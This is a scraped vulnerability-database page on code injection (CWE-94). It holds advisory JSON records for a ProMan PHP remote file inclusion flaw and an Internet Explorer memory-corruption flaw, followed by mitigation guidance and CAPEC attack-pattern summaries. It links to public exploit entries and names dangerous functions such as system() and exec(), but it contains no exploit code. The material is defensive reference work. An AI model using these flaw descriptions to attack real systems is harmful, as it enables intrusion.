      "url": "https://github.com/TYPO3/typo3/commit/51fdb774a57ee30e8d60c0e33b4a0b92d775739e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/commit/e845d90b82b2f72ab12a9e37f15082297832beca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2019-11832.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/CVE-2019-11832.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3/typo3"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2019-012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TYPO3 Image Processing susceptible to Code Execution"
}

GHSA-3W5G-8RR6-F44G

Vulnerability from github – Published: 2022-05-17 02:07 – Updated: 2022-05-17 02:07
VLAI
Details

PHP remote file inclusion vulnerability in _center.php in ProMan 0.1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2010-2137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-06-02T18:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in _center.php in ProMan 0.1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.",
  "id": "GHSA-3w5g-8rr6-f44g",
  "modified": "2022-05-17T02:07:31Z",
  "published": "2022-05-17T02:07:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2137"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56575"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/1002-exploits/proman-rfilfi.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/11587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3W6J-5MC4-753Q

Vulnerability from github – Published: 2022-05-01 23:27 – Updated: 2022-05-01 23:27
VLAI
Details

Unspecified vulnerability in Microsoft Internet Explorer 5.01, 6 SP1 and SP2, and 7 allows remote attackers to execute arbitrary code via crafted HTML layout combinations, aka "HTML Rendering Memory Corruption Vulnerability."

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-0076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-02-12T23:00:00Z",
    "severity": "HIGH"
  },
  "details": "Unspecified vulnerability in Microsoft Internet Explorer 5.01, 6 SP1 and SP2, and 7 allows remote attackers to execute arbitrary code via crafted HTML layout combinations, aka \"HTML Rendering Memory Corruption Vulnerability.\"",
  "id": "GHSA-3w6j-5mc4-753q",
  "modified": "2022-05-01T23:27:33Z",
  "published": "2022-05-01T23:27:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0076"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-010"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5487"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=120361015026386\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28903"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27668"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019379"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA08-043C.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/0512/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list